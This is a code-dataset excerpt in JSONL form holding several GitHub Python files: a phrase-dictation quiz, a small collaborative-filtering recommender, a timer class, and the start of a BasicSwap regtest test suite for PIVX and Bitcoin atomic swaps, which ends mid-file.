diff --git "a/5260.jsonl" "b/5260.jsonl" new file mode 100644--- /dev/null +++ "b/5260.jsonl" @@ -0,0 +1,2219 @@ +{"seq_id":"4255859180","text":"#!/Users/plucky/Plucky/Python/venv/bin/python\n# coding=utf-8\nimport Loader\nimport phrase\nimport random\n\ndef dictate():\n # load\n loader = Loader.loader()\n\n res = loader.load_phrase()\n if res == -1:\n print('短语表为空!')\n exit()\n zh, en = res\n test, right = loader.load_record()\n # generate\n phrz_lst = []\n for i in range(len(zh)):\n phrz = phrase.phrase(zh[i], en[i], test[i], right[i], i)\n phrz_lst.append(phrz)\n\n random.shuffle(phrz_lst)\n phrz_lst = sorted(phrz_lst, key=phrase.custom_key,reverse=True)\n\n print(\"输入要测试的词组数量:\\033[34m\")\n try:\n lines = int(input())\n while not (lines > 0 and lines < len(zh) + 1):\n print(\"\\033[37m输入范围内数字!\")\n print(\"输入要测试的词组数量:\\033[34m\")\n lines = int(input())\n phrz_lst = phrz_lst[:lines]\n random.shuffle(phrz_lst)\n\n print(\"\\n\\033[32m--start--\\033[37m\")\n cnt = 0\n wrong = []\n ans = []\n for i in phrz_lst:\n print(\"\\n\\033[0m%s\\033[34m\"%(i.zh))\n answer = input().rstrip()\n if not i.is_true(answer):\n cnt += 1\n wrong.append(i)\n ans.append(answer)\n\n print(\"\\n\\033[32m--end--\\033[37m\")\n\n grade = 100 * (1 - cnt / lines)\n print(\"\\n\\033[37m最终成绩:\\033[32m %.2f\"%grade)\n\n if not len(wrong) == 0:\n print(\"\\033[31m错误:\")\n\n for i in range(len(wrong)):\n print(\"\\033[37m%s\\t\\033[32m%s\"%(wrong[i].zh,wrong[i].en))\n print(\"\\033[37mYour answer:\\t\\033[31m\",ans[i])\n\n print('\\033[0m')\n\n for i in phrz_lst:\n test[i.id] = i.test\n right[i.id] = i.right\n loader.store_record(test,right)\n\n except ValueError:\n print(\"\\033[37m输入数字!\")\n\n except KeyboardInterrupt:\n print('\\n\\033[34mBye~')\n\n\nif __name__ == '__main__':\n dictate()\n","repo_name":"PluckySaltyfish/Dictation2.0","sub_path":"dictate.py","file_name":"dictate.py","file_ext":"py","file_size_in_byte":1996,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"14036860518","text":"import math\nfrom collections import Counter, defaultdict\n\n\nusers_interests = [\n [\"Hadoop\", \"Big Data\", \"HBase\", \"Java\", \"Spark\", \"Storm\", \"Cassandra\"],\n [\"NoSQL\", \"MongoDB\", \"Cassandra\", \"HBase\", \"Postgres\"],\n [\"Python\", \"scikit-learn\", \"scipy\", \"numpy\", \"statsmodels\", \"pandas\"],\n [\"R\", \"Python\", \"statistics\", \"regression\", \"probability\"],\n [\"machine learning\", \"regression\", \"decision trees\", \"libsvm\"],\n [\"Python\", \"R\", \"Java\", \"C++\", \"Haskell\", \"programming languages\"],\n [\"statistics\", \"probability\", \"mathematics\", \"theory\"],\n [\"machine learning\", \"scikit-learn\", \"Mahout\", \"neural networks\"],\n [\"neural networks\", \"deep learning\", \"Big Data\", \"artificial intelligence\"],\n [\"Hadoop\", \"Java\", \"MapReduce\", \"Big Data\"],\n [\"statistics\", \"R\", \"statsmodels\"],\n [\"C++\", \"deep learning\", \"artificial intelligence\", \"probability\"],\n [\"pandas\", \"R\", \"Python\"],\n [\"databases\", \"HBase\", \"Postgres\", \"MySQL\", \"MongoDB\"],\n [\"libsvm\", \"regression\", \"support vector machines\"]\n]\n\n\ndef dot(v, w):\n return sum(v_i * w_i for v_i, w_i in zip(v, w))\n\ndef star(f):\n return lambda args: f(*args)\n\n\n\n\n#metryka podobieństwa kosinusowego\ndef cosine_similarity(v, w):\n return dot(v, w) / math.sqrt(dot(v, v) * dot(w, w))\n\n\nunique_interests = sorted(list({ interest\n for user_interests in users_interests\n for interest in user_interests}))\n\n\ndef make_user_interest_vector(user_interests):\n return [1 if interest in user_interests else 0\n for interest in unique_interests]\n\n\nuser_interests_matrix = map(make_user_interest_vector, users_interests)\n\nuser_similarities = [[cosine_similarity(interest_vector_i, interest_vector_j)\n for interest_vector_j in user_interests_matrix]\n for interest_vector_i in user_interests_matrix]\n\n\ndef most_similar_user_to(user_id):\n pairs = [(other_user_id, similarity)\n for other_user_id, similarity in\n enumerate(user_similarities[user_id])\n if user_id != other_user_id and similarity > 0]\n return sorted(pairs,\n key=star(lambda _, similarity: similarity), reverse=True)\n\n\ndef user_based_suggestions(user_id, include_current_interests=False):\n suggestions = defaultdict(float)\n for other_user_id, similarity in most_similar_user_to(user_id):\n for interest in users_interests[other_user_id]:\n suggestions[interest] += similarity\n\n #zamień podobieństwa na posortowaną listę\n suggestions = sorted(suggestions.items(),\n key=star(lambda _, weight: weight), reverse=True)\n\n #usuń bierzące zainteresowania\n if include_current_interests:\n return suggestions\n else:\n return [(suggestions, weight)\n for suggestion, weight in suggestions\n if suggestion not in users_interests[user_id]]\n\nprint(user_based_suggestions(0))","repo_name":"Mithiriii/projects","sub_path":"work/book_2/recommendation/collaborative_recommendation.py","file_name":"collaborative_recommendation.py","file_ext":"py","file_size_in_byte":3022,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"5034589844","text":"#定制时间操作\nimport time as t\n# 由于localtime返回的时间是字符串的形式返回的 年月日时分秒\nclass MyTimer:\n#使用魔法方法__init__,所有实例对象的变量只要在__init__里面定义,就可以直接调用\n def __init__(self):\n #给初始化赋值方便我们知晓输出数字\n self.uint = [\"年\",\"月\",\"天\",\"时\",\"分\",\"秒\"]\n self.prompt = \"未开始计时\"\n self.lasted = []\n \n # 给属性初始化赋值为0 这里不用start和stop 是由于属性与方法相同,属性的值会覆盖方法!\n self.begin = 0\n self.end = 0\n#使用魔法方法进行定位方法 __str__() 和 __repr__()\n def __str__(self):\n return self.prompt\n __repr__ = __str__\n\n\n#开始计时\n def start(self):\n self.begin = t.localtime()\n self.prompt = \"提示,请先调用stop()方法结束计时\"\n print(\"计时开始!\")\n#结束计时\n def stop(self):\n if not self.begin:\n print(\"提示,请先调用start()方法结束计时\")\n else:\n self.end = t.localtime()\n self._calc()\n print(\"结束计时\")\n#使用内部方法,计算运行时间\n def _calc(self):\n #定义一个运行结果的列表\n self.lasted = []\n self.prompt = \"总共运行了\"\n #使用迭代进行挨了传输\n for index in range(6):\n self.lasted.append(self.end[index] - self.begin[index])\n #假如lasted列表为 0 0 0 0 0 秒时,输出运行结果为秒\n if self.lasted[index]:\n self.prompt += (str(self.lasted[index]) + self.uint[index])\n #为下一轮计算进行初始化变量\n self.begin = 0\n self.end = 0\n# 最后再进行两个计时器返回时间和相加\n def __add__(self, other):\n prompt = \"总共运行了\"\n result = []\n for index in range(6):\n result.append(self.lasted[index] + other.lasted[index])\n if result[index]:\n prompt += (str(result[index]) + self.uint[index])\n return prompt\n","repo_name":"kuangtao94/TestHome","sub_path":"jiayukejian/Case/定时器计算.py","file_name":"定时器计算.py","file_ext":"py","file_size_in_byte":2123,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"23758286556","text":"import os\nimport sys\nimport json\nimport time\nimport random\nimport shutil\nimport signal\nimport logging\nimport unittest\nimport threading\n\nimport basicswap.config as cfg\nfrom basicswap.basicswap import (\n BasicSwap,\n Coins,\n SwapTypes,\n BidStates,\n TxStates,\n DebugTypes,\n)\nfrom basicswap.util import (\n COIN,\n)\nfrom basicswap.basicswap_util import (\n TxLockTypes,\n)\nfrom basicswap.util.address import (\n toWIF,\n)\nfrom basicswap.rpc import (\n callrpc_cli,\n waitForRPC,\n)\nfrom basicswap.contrib.key import (\n ECKey,\n)\nfrom basicswap.http_server import (\n HttpThread,\n)\nfrom tests.basicswap.util import (\n read_json_api,\n)\nfrom tests.basicswap.common import (\n checkForks,\n stopDaemons,\n wait_for_bid,\n wait_for_offer,\n wait_for_balance,\n wait_for_unspent,\n wait_for_in_progress,\n wait_for_bid_tx_state,\n TEST_HTTP_HOST,\n TEST_HTTP_PORT,\n BASE_PORT,\n BASE_RPC_PORT,\n BASE_ZMQ_PORT,\n PREFIX_SECRET_KEY_REGTEST,\n)\nfrom bin.basicswap_run import startDaemon\nfrom bin.basicswap_prepare import downloadPIVXParams\n\n\nlogger = logging.getLogger()\nlogger.level = logging.DEBUG\nif not len(logger.handlers):\n logger.addHandler(logging.StreamHandler(sys.stdout))\n\nNUM_NODES = 3\nPIVX_NODE = 3\nBTC_NODE = 4\n\ndelay_event = threading.Event()\nstop_test = False\n\nPIVX_BINDIR = os.path.expanduser(os.getenv('PIVX_BINDIR', os.path.join(cfg.DEFAULT_TEST_BINDIR, 'pivx')))\nPIVXD = os.getenv('PIVXD', 'pivxd' + cfg.bin_suffix)\nPIVX_CLI = os.getenv('PIVX_CLI', 'pivx-cli' + cfg.bin_suffix)\nPIVX_TX = os.getenv('PIVX_TX', 'pivx-tx' + cfg.bin_suffix)\n\n\ndef prepareOtherDir(datadir, nodeId, conf_file='pivx.conf'):\n node_dir = os.path.join(datadir, str(nodeId))\n if not os.path.exists(node_dir):\n os.makedirs(node_dir)\n filePath = os.path.join(node_dir, conf_file)\n\n with open(filePath, 'w+') as fp:\n fp.write('regtest=1\\n')\n fp.write('[regtest]\\n')\n fp.write('port=' + str(BASE_PORT + nodeId) + '\\n')\n fp.write('rpcport=' + str(BASE_RPC_PORT + nodeId) + '\\n')\n\n fp.write('daemon=0\\n')\n fp.write('printtoconsole=0\\n')\n fp.write('server=1\\n')\n fp.write('discover=0\\n')\n fp.write('listenonion=0\\n')\n fp.write('bind=127.0.0.1\\n')\n fp.write('findpeers=0\\n')\n fp.write('debug=1\\n')\n fp.write('debugexclude=libevent\\n')\n\n fp.write('fallbackfee=0.01\\n')\n fp.write('acceptnonstdtxn=0\\n')\n\n if conf_file == 'pivx.conf':\n params_dir = os.path.join(datadir, 'pivx-params')\n downloadPIVXParams(params_dir)\n fp.write(f'paramsdir={params_dir}\\n')\n\n if conf_file == 'bitcoin.conf':\n fp.write('wallet=wallet.dat\\n')\n\n\ndef prepareDir(datadir, nodeId, network_key, network_pubkey):\n node_dir = os.path.join(datadir, str(nodeId))\n if not os.path.exists(node_dir):\n os.makedirs(node_dir)\n filePath = os.path.join(node_dir, 'particl.conf')\n\n with open(filePath, 'w+') as fp:\n fp.write('regtest=1\\n')\n fp.write('[regtest]\\n')\n fp.write('port=' + str(BASE_PORT + nodeId) + '\\n')\n fp.write('rpcport=' + str(BASE_RPC_PORT + nodeId) + '\\n')\n\n fp.write('daemon=0\\n')\n fp.write('printtoconsole=0\\n')\n fp.write('server=1\\n')\n fp.write('discover=0\\n')\n fp.write('listenonion=0\\n')\n fp.write('bind=127.0.0.1\\n')\n fp.write('findpeers=0\\n')\n fp.write('debug=1\\n')\n fp.write('debugexclude=libevent\\n')\n fp.write('zmqpubsmsg=tcp://127.0.0.1:' + str(BASE_ZMQ_PORT + nodeId) + '\\n')\n fp.write('wallet=wallet.dat\\n')\n fp.write('fallbackfee=0.01\\n')\n\n fp.write('acceptnonstdtxn=0\\n')\n fp.write('minstakeinterval=5\\n')\n fp.write('smsgsregtestadjust=0\\n')\n\n for i in range(0, NUM_NODES):\n if nodeId == i:\n continue\n fp.write('addnode=127.0.0.1:%d\\n' % (BASE_PORT + i))\n\n if nodeId < 2:\n fp.write('spentindex=1\\n')\n fp.write('txindex=1\\n')\n\n basicswap_dir = os.path.join(datadir, str(nodeId), 'basicswap')\n if not os.path.exists(basicswap_dir):\n os.makedirs(basicswap_dir)\n\n pivxdatadir = os.path.join(datadir, str(PIVX_NODE))\n btcdatadir = os.path.join(datadir, str(BTC_NODE))\n settings_path = os.path.join(basicswap_dir, cfg.CONFIG_FILENAME)\n settings = {\n 'debug': True,\n 'zmqhost': 'tcp://127.0.0.1',\n 'zmqport': BASE_ZMQ_PORT + nodeId,\n 'htmlhost': '127.0.0.1',\n 'htmlport': 12700 + nodeId,\n 'network_key': network_key,\n 'network_pubkey': network_pubkey,\n 'chainclients': {\n 'particl': {\n 'connection_type': 'rpc',\n 'manage_daemon': False,\n 'rpcport': BASE_RPC_PORT + nodeId,\n 'datadir': node_dir,\n 'bindir': cfg.PARTICL_BINDIR,\n 'blocks_confirmed': 2, # Faster testing\n },\n 'pivx': {\n 'connection_type': 'rpc',\n 'manage_daemon': False,\n 'rpcport': BASE_RPC_PORT + PIVX_NODE,\n 'datadir': pivxdatadir,\n 'bindir': PIVX_BINDIR,\n 'use_csv': False,\n 'use_segwit': False,\n },\n 'bitcoin': {\n 'connection_type': 'rpc',\n 'manage_daemon': False,\n 'rpcport': BASE_RPC_PORT + BTC_NODE,\n 'datadir': btcdatadir,\n 'bindir': cfg.BITCOIN_BINDIR,\n 'use_segwit': True,\n }\n },\n 'check_progress_seconds': 2,\n 'check_watched_seconds': 4,\n 'check_expired_seconds': 60,\n 'check_events_seconds': 1,\n 'check_xmr_swaps_seconds': 1,\n 'min_delay_event': 1,\n 'max_delay_event': 3,\n 'min_delay_event_short': 1,\n 'max_delay_event_short': 3,\n 'min_delay_retry': 2,\n 'max_delay_retry': 10,\n 'restrict_unknown_seed_wallets': False\n }\n with open(settings_path, 'w') as fp:\n json.dump(settings, fp, indent=4)\n\n\ndef partRpc(cmd, node_id=0):\n return callrpc_cli(cfg.PARTICL_BINDIR, os.path.join(cfg.TEST_DATADIRS, str(node_id)), 'regtest', cmd, cfg.PARTICL_CLI)\n\n\ndef btcRpc(cmd):\n return callrpc_cli(cfg.BITCOIN_BINDIR, os.path.join(cfg.TEST_DATADIRS, str(BTC_NODE)), 'regtest', cmd, cfg.BITCOIN_CLI)\n\n\ndef pivxRpc(cmd):\n return callrpc_cli(PIVX_BINDIR, os.path.join(cfg.TEST_DATADIRS, str(PIVX_NODE)), 'regtest', cmd, PIVX_CLI)\n\n\ndef signal_handler(sig, frame):\n global stop_test\n print('signal {} detected.'.format(sig))\n stop_test = True\n delay_event.set()\n\n\ndef run_coins_loop(cls):\n while not stop_test:\n try:\n pivxRpc('generatetoaddress 1 {}'.format(cls.pivx_addr))\n btcRpc('generatetoaddress 1 {}'.format(cls.btc_addr))\n except Exception as e:\n logging.warning('run_coins_loop ' + str(e))\n time.sleep(1.0)\n\n\ndef run_loop(self):\n while not stop_test:\n for c in self.swap_clients:\n c.update()\n time.sleep(1)\n\n\ndef make_part_cli_rpc_func(node_id):\n node_id = node_id\n\n def rpc_func(method, params=None, wallet=None):\n nonlocal node_id\n cmd = method\n if params:\n for p in params:\n cmd += ' \"' + p + '\"'\n return partRpc(cmd, node_id)\n return rpc_func\n\n\nclass Test(unittest.TestCase):\n test_coin_from = Coins.PIVX\n\n @classmethod\n def setUpClass(cls):\n super(Test, cls).setUpClass()\n\n eckey = ECKey()\n eckey.generate()\n cls.network_key = toWIF(PREFIX_SECRET_KEY_REGTEST, eckey.get_bytes())\n cls.network_pubkey = eckey.get_pubkey().get_bytes().hex()\n\n if os.path.isdir(cfg.TEST_DATADIRS):\n logging.info('Removing ' + cfg.TEST_DATADIRS)\n for name in os.listdir(cfg.TEST_DATADIRS):\n if name == 'pivx-params':\n continue\n fullpath = os.path.join(cfg.TEST_DATADIRS, name)\n if os.path.isdir(fullpath):\n shutil.rmtree(fullpath)\n else:\n os.remove(fullpath)\n\n for i in range(NUM_NODES):\n prepareDir(cfg.TEST_DATADIRS, i, cls.network_key, cls.network_pubkey)\n\n prepareOtherDir(cfg.TEST_DATADIRS, PIVX_NODE)\n prepareOtherDir(cfg.TEST_DATADIRS, BTC_NODE, 'bitcoin.conf')\n\n cls.daemons = []\n cls.swap_clients = []\n cls.http_threads = []\n\n btc_data_dir = os.path.join(cfg.TEST_DATADIRS, str(BTC_NODE))\n if os.path.exists(os.path.join(cfg.BITCOIN_BINDIR, 'bitcoin-wallet')):\n try:\n callrpc_cli(cfg.BITCOIN_BINDIR, btc_data_dir, 'regtest', '-wallet=wallet.dat -legacy create', 'bitcoin-wallet')\n except Exception:\n callrpc_cli(cfg.BITCOIN_BINDIR, btc_data_dir, 'regtest', '-wallet=wallet.dat create', 'bitcoin-wallet')\n cls.daemons.append(startDaemon(btc_data_dir, cfg.BITCOIN_BINDIR, cfg.BITCOIND))\n logging.info('Started %s %d', cfg.BITCOIND, cls.daemons[-1].pid)\n cls.daemons.append(startDaemon(os.path.join(cfg.TEST_DATADIRS, str(PIVX_NODE)), PIVX_BINDIR, PIVXD))\n logging.info('Started %s %d', PIVXD, cls.daemons[-1].pid)\n\n for i in range(NUM_NODES):\n data_dir = os.path.join(cfg.TEST_DATADIRS, str(i))\n if os.path.exists(os.path.join(cfg.PARTICL_BINDIR, 'particl-wallet')):\n try:\n callrpc_cli(cfg.PARTICL_BINDIR, data_dir, 'regtest', '-wallet=wallet.dat -legacy create', 'particl-wallet')\n except Exception:\n callrpc_cli(cfg.PARTICL_BINDIR, data_dir, 'regtest', '-wallet=wallet.dat create', 'particl-wallet')\n cls.daemons.append(startDaemon(data_dir, cfg.PARTICL_BINDIR, cfg.PARTICLD))\n logging.info('Started %s %d', cfg.PARTICLD, cls.daemons[-1].pid)\n\n for i in range(NUM_NODES):\n rpc = make_part_cli_rpc_func(i)\n waitForRPC(rpc)\n if i == 0:\n rpc('extkeyimportmaster', ['abandon baby cabbage dad eager fabric gadget habit ice kangaroo lab absorb'])\n elif i == 1:\n rpc('extkeyimportmaster', ['pact mammal barrel matrix local final lecture chunk wasp survey bid various book strong spread fall ozone daring like topple door fatigue limb olympic', '', 'true'])\n rpc('getnewextaddress', ['lblExtTest'])\n rpc('rescanblockchain')\n else:\n rpc('extkeyimportmaster', [rpc('mnemonic', ['new'])['master']])\n rpc('walletsettings', ['stakingoptions', json.dumps({'stakecombinethreshold': 100, 'stakesplitthreshold': 200}).replace('\"', '\\\\\"')])\n rpc('reservebalance', ['false'])\n\n basicswap_dir = os.path.join(os.path.join(cfg.TEST_DATADIRS, str(i)), 'basicswap')\n settings_path = os.path.join(basicswap_dir, cfg.CONFIG_FILENAME)\n with open(settings_path) as fs:\n settings = json.load(fs)\n fp = open(os.path.join(basicswap_dir, 'basicswap.log'), 'w')\n cls.swap_clients.append(BasicSwap(fp, basicswap_dir, settings, 'regtest', log_name='BasicSwap{}'.format(i)))\n cls.swap_clients[-1].setDaemonPID(Coins.BTC, cls.daemons[0].pid)\n cls.swap_clients[-1].setDaemonPID(Coins.PIVX, cls.daemons[1].pid)\n cls.swap_clients[-1].setDaemonPID(Coins.PART, cls.daemons[2 + i].pid)\n cls.swap_clients[-1].start()\n\n t = HttpThread(cls.swap_clients[i].fp, TEST_HTTP_HOST, TEST_HTTP_PORT + i, False, cls.swap_clients[i])\n cls.http_threads.append(t)\n t.start()\n\n waitForRPC(pivxRpc)\n num_blocks = 1352 # CHECKLOCKTIMEVERIFY soft-fork activates at (regtest) block height 1351.\n logging.info('Mining %d pivx blocks', num_blocks)\n cls.pivx_addr = pivxRpc('getnewaddress mining_addr')\n pivxRpc('generatetoaddress {} {}'.format(num_blocks, cls.pivx_addr))\n\n ro = pivxRpc('getblockchaininfo')\n try:\n assert (ro['bip9_softforks']['csv']['status'] == 'active')\n except Exception:\n logging.info('pivx: csv is not active')\n try:\n assert (ro['bip9_softforks']['segwit']['status'] == 'active')\n except Exception:\n logging.info('pivx: segwit is not active')\n\n waitForRPC(btcRpc)\n cls.btc_addr = btcRpc('getnewaddress mining_addr bech32')\n logging.info('Mining %d Bitcoin blocks to %s', num_blocks, cls.btc_addr)\n btcRpc('generatetoaddress {} {}'.format(num_blocks, cls.btc_addr))\n\n ro = btcRpc('getblockchaininfo')\n checkForks(ro)\n\n signal.signal(signal.SIGINT, signal_handler)\n cls.update_thread = threading.Thread(target=run_loop, args=(cls,))\n cls.update_thread.start()\n\n cls.coins_update_thread = threading.Thread(target=run_coins_loop, args=(cls,))\n cls.coins_update_thread.start()\n\n # Wait for height, or sequencelock is thrown off by genesis blocktime\n num_blocks = 3\n logging.info('Waiting for Particl chain height %d', num_blocks)\n for i in range(60):\n particl_blocks = cls.swap_clients[0].callrpc('getblockcount')\n print('particl_blocks', particl_blocks)\n if particl_blocks >= num_blocks:\n break\n delay_event.wait(1)\n assert (particl_blocks >= num_blocks)\n\n @classmethod\n def tearDownClass(cls):\n global stop_test\n logging.info('Finalising')\n stop_test = True\n cls.update_thread.join()\n cls.coins_update_thread.join()\n for t in cls.http_threads:\n t.stop()\n t.join()\n for c in cls.swap_clients:\n c.finalise()\n c.fp.close()\n\n stopDaemons(cls.daemons)\n\n super(Test, cls).tearDownClass()\n\n def test_02_part_pivx(self):\n logging.info('---------- Test PART to PIVX')\n swap_clients = self.swap_clients\n\n offer_id = swap_clients[0].postOffer(Coins.PART, Coins.PIVX, 100 * COIN, 0.1 * COIN, 100 * COIN, SwapTypes.SELLER_FIRST, TxLockTypes.ABS_LOCK_TIME)\n\n wait_for_offer(delay_event, swap_clients[1], offer_id)\n offer = swap_clients[1].getOffer(offer_id)\n bid_id = swap_clients[1].postBid(offer_id, offer.amount_from)\n\n wait_for_bid(delay_event, swap_clients[0], bid_id)\n\n swap_clients[0].acceptBid(bid_id)\n\n wait_for_in_progress(delay_event, swap_clients[1], bid_id, sent=True)\n\n wait_for_bid(delay_event, swap_clients[0], bid_id, BidStates.SWAP_COMPLETED, wait_for=60)\n wait_for_bid(delay_event, swap_clients[1], bid_id, BidStates.SWAP_COMPLETED, sent=True, wait_for=60)\n\n js_0 = read_json_api(1800)\n js_1 = read_json_api(1801)\n assert (js_0['num_swapping'] == 0 and js_0['num_watched_outputs'] == 0)\n assert (js_1['num_swapping'] == 0 and js_1['num_watched_outputs'] == 0)\n\n def test_03_pivx_part(self):\n logging.info('---------- Test PIVX to PART')\n swap_clients = self.swap_clients\n\n offer_id = swap_clients[1].postOffer(Coins.PIVX, Coins.PART, 10 * COIN, 9.0 * COIN, 10 * COIN, SwapTypes.SELLER_FIRST, TxLockTypes.ABS_LOCK_TIME)\n\n wait_for_offer(delay_event, swap_clients[0], offer_id)\n offer = swap_clients[0].getOffer(offer_id)\n bid_id = swap_clients[0].postBid(offer_id, offer.amount_from)\n\n wait_for_bid(delay_event, swap_clients[1], bid_id)\n swap_clients[1].acceptBid(bid_id)\n\n wait_for_in_progress(delay_event, swap_clients[0], bid_id, sent=True)\n\n wait_for_bid(delay_event, swap_clients[0], bid_id, BidStates.SWAP_COMPLETED, sent=True, wait_for=60)\n wait_for_bid(delay_event, swap_clients[1], bid_id, BidStates.SWAP_COMPLETED, wait_for=60)\n\n js_0 = read_json_api(1800)\n js_1 = read_json_api(1801)\n assert (js_0['num_swapping'] == 0 and js_0['num_watched_outputs'] == 0)\n assert (js_1['num_swapping'] == 0 and js_1['num_watched_outputs'] == 0)\n\n def test_04_pivx_btc(self):\n logging.info('---------- Test PIVX to BTC')\n swap_clients = self.swap_clients\n\n offer_id = swap_clients[0].postOffer(Coins.PIVX, Coins.BTC, 10 * COIN, 0.1 * COIN, 10 * COIN, SwapTypes.SELLER_FIRST, TxLockTypes.ABS_LOCK_TIME)\n\n wait_for_offer(delay_event, swap_clients[1], offer_id)\n offer = swap_clients[1].getOffer(offer_id)\n bid_id = swap_clients[1].postBid(offer_id, offer.amount_from)\n\n wait_for_bid(delay_event, swap_clients[0], bid_id)\n swap_clients[0].acceptBid(bid_id)\n\n wait_for_in_progress(delay_event, swap_clients[1], bid_id, sent=True)\n\n wait_for_bid(delay_event, swap_clients[0], bid_id, BidStates.SWAP_COMPLETED, wait_for=60)\n wait_for_bid(delay_event, swap_clients[1], bid_id, BidStates.SWAP_COMPLETED, sent=True, wait_for=60)\n\n js_0bid = read_json_api(1800, 'bids/{}'.format(bid_id.hex()))\n\n js_0 = read_json_api(1800)\n js_1 = read_json_api(1801)\n\n assert (js_0['num_swapping'] == 0 and js_0['num_watched_outputs'] == 0)\n assert (js_1['num_swapping'] == 0 and js_1['num_watched_outputs'] == 0)\n\n def test_05_refund(self):\n # Seller submits initiate txn, buyer doesn't respond\n logging.info('---------- Test refund, PIVX to BTC')\n swap_clients = self.swap_clients\n\n offer_id = swap_clients[0].postOffer(Coins.PIVX, Coins.BTC, 10 * COIN, 0.1 * COIN, 10 * COIN, SwapTypes.SELLER_FIRST,\n TxLockTypes.ABS_LOCK_BLOCKS, 10)\n\n wait_for_offer(delay_event, swap_clients[1], offer_id)\n offer = swap_clients[1].getOffer(offer_id)\n bid_id = swap_clients[1].postBid(offer_id, offer.amount_from)\n\n wait_for_bid(delay_event, swap_clients[0], bid_id)\n swap_clients[1].abandonBid(bid_id)\n swap_clients[0].acceptBid(bid_id)\n\n wait_for_bid(delay_event, swap_clients[0], bid_id, BidStates.SWAP_COMPLETED, wait_for=60)\n wait_for_bid(delay_event, swap_clients[1], bid_id, BidStates.BID_ABANDONED, sent=True, wait_for=60)\n\n js_0 = read_json_api(1800)\n js_1 = read_json_api(1801)\n assert (js_0['num_swapping'] == 0 and js_0['num_watched_outputs'] == 0)\n assert (js_1['num_swapping'] == 0 and js_1['num_watched_outputs'] == 0)\n\n def test_06_self_bid(self):\n logging.info('---------- Test same client, BTC to PIVX')\n swap_clients = self.swap_clients\n\n js_0_before = read_json_api(1800)\n\n offer_id = swap_clients[0].postOffer(Coins.PIVX, Coins.BTC, 10 * COIN, 10 * COIN, 10 * COIN, SwapTypes.SELLER_FIRST, TxLockTypes.ABS_LOCK_TIME)\n\n wait_for_offer(delay_event, swap_clients[0], offer_id)\n offer = swap_clients[0].getOffer(offer_id)\n bid_id = swap_clients[0].postBid(offer_id, offer.amount_from)\n\n wait_for_bid(delay_event, swap_clients[0], bid_id)\n swap_clients[0].acceptBid(bid_id)\n\n wait_for_bid_tx_state(delay_event, swap_clients[0], bid_id, TxStates.TX_REDEEMED, TxStates.TX_REDEEMED, wait_for=60)\n wait_for_bid(delay_event, swap_clients[0], bid_id, BidStates.SWAP_COMPLETED, wait_for=60)\n\n js_0 = read_json_api(1800)\n assert (js_0['num_swapping'] == 0 and js_0['num_watched_outputs'] == 0)\n assert (js_0['num_recv_bids'] == js_0_before['num_recv_bids'] + 1 and js_0['num_sent_bids'] == js_0_before['num_sent_bids'] + 1)\n\n def test_07_error(self):\n logging.info('---------- Test error, BTC to PIVX, set fee above bid value')\n swap_clients = self.swap_clients\n\n js_0_before = read_json_api(1800)\n\n offer_id = swap_clients[0].postOffer(Coins.PIVX, Coins.BTC, 0.001 * COIN, 1.0 * COIN, 0.001 * COIN, SwapTypes.SELLER_FIRST, TxLockTypes.ABS_LOCK_TIME)\n\n wait_for_offer(delay_event, swap_clients[0], offer_id)\n offer = swap_clients[0].getOffer(offer_id)\n bid_id = swap_clients[0].postBid(offer_id, offer.amount_from)\n\n wait_for_bid(delay_event, swap_clients[0], bid_id)\n swap_clients[0].acceptBid(bid_id)\n try:\n swap_clients[0].getChainClientSettings(Coins.BTC)['override_feerate'] = 10.0\n swap_clients[0].getChainClientSettings(Coins.PIVX)['override_feerate'] = 10.0\n wait_for_bid(delay_event, swap_clients[0], bid_id, BidStates.BID_ERROR, wait_for=60)\n swap_clients[0].abandonBid(bid_id)\n finally:\n del swap_clients[0].getChainClientSettings(Coins.BTC)['override_feerate']\n del swap_clients[0].getChainClientSettings(Coins.PIVX)['override_feerate']\n\n def test_08_wallet(self):\n logging.info('---------- Test {} wallet'.format(self.test_coin_from.name))\n\n logging.info('Test withdrawal')\n addr = pivxRpc('getnewaddress \\\"Withdrawal test\\\"')\n wallets = read_json_api(TEST_HTTP_PORT + 0, 'wallets')\n assert (float(wallets[self.test_coin_from.name]['balance']) > 100)\n\n post_json = {\n 'value': 100,\n 'address': addr,\n 'subfee': False,\n }\n json_rv = read_json_api(TEST_HTTP_PORT + 0, 'wallets/{}/withdraw'.format(self.test_coin_from.name.lower()), post_json)\n assert (len(json_rv['txid']) == 64)\n\n logging.info('Test createutxo')\n post_json = {\n 'value': 10,\n }\n json_rv = read_json_api(TEST_HTTP_PORT + 0, 'wallets/{}/createutxo'.format(self.test_coin_from.name.lower()), post_json)\n assert (len(json_rv['txid']) == 64)\n\n def test_09_v3_tx(self):\n logging.info('---------- Test PIVX v3 txns')\n\n generate_addr = pivxRpc('getnewaddress \\\"generate test\\\"')\n pivx_addr = pivxRpc('getnewaddress \\\"Sapling test\\\"')\n pivx_sapling_addr = pivxRpc('getnewshieldaddress \\\"shield addr\\\"')\n\n pivxRpc(f'sendtoaddress \\\"{pivx_addr}\\\" 6.0')\n pivxRpc(f'generatetoaddress 1 \\\"{generate_addr}\\\"')\n\n txid = pivxRpc('shieldsendmany \"{}\" \"[{{\\\\\"address\\\\\": \\\\\"{}\\\\\", \\\\\"amount\\\\\": 1}}]\"'.format(pivx_addr, pivx_sapling_addr))\n rtx = pivxRpc(f'getrawtransaction \\\"{txid}\\\" true')\n assert (rtx['version'] == 3)\n\n block_hash = pivxRpc(f'generatetoaddress 1 \\\"{generate_addr}\\\"')[0]\n\n ci = self.swap_clients[0].ci(Coins.PIVX)\n block = ci.getBlockWithTxns(block_hash)\n\n found = False\n for tx in block['tx']:\n if txid == tx['txid']:\n found = True\n break\n assert found\n\n def ensure_balance(self, coin_type, node_id, amount):\n tla = coin_type.name\n js_w = read_json_api(1800 + node_id, 'wallets')\n if float(js_w[tla]['balance']) < amount:\n post_json = {\n 'value': amount,\n 'address': js_w[tla]['deposit_address'],\n 'subfee': False,\n }\n json_rv = read_json_api(1800, 'wallets/{}/withdraw'.format(tla.lower()), post_json)\n assert (len(json_rv['txid']) == 64)\n wait_for_balance(delay_event, 'http://127.0.0.1:{}/json/wallets/{}'.format(1800 + node_id, tla.lower()), 'balance', amount)\n\n def test_10_prefunded_itx(self):\n logging.info('---------- Test prefunded itx offer')\n\n swap_clients = 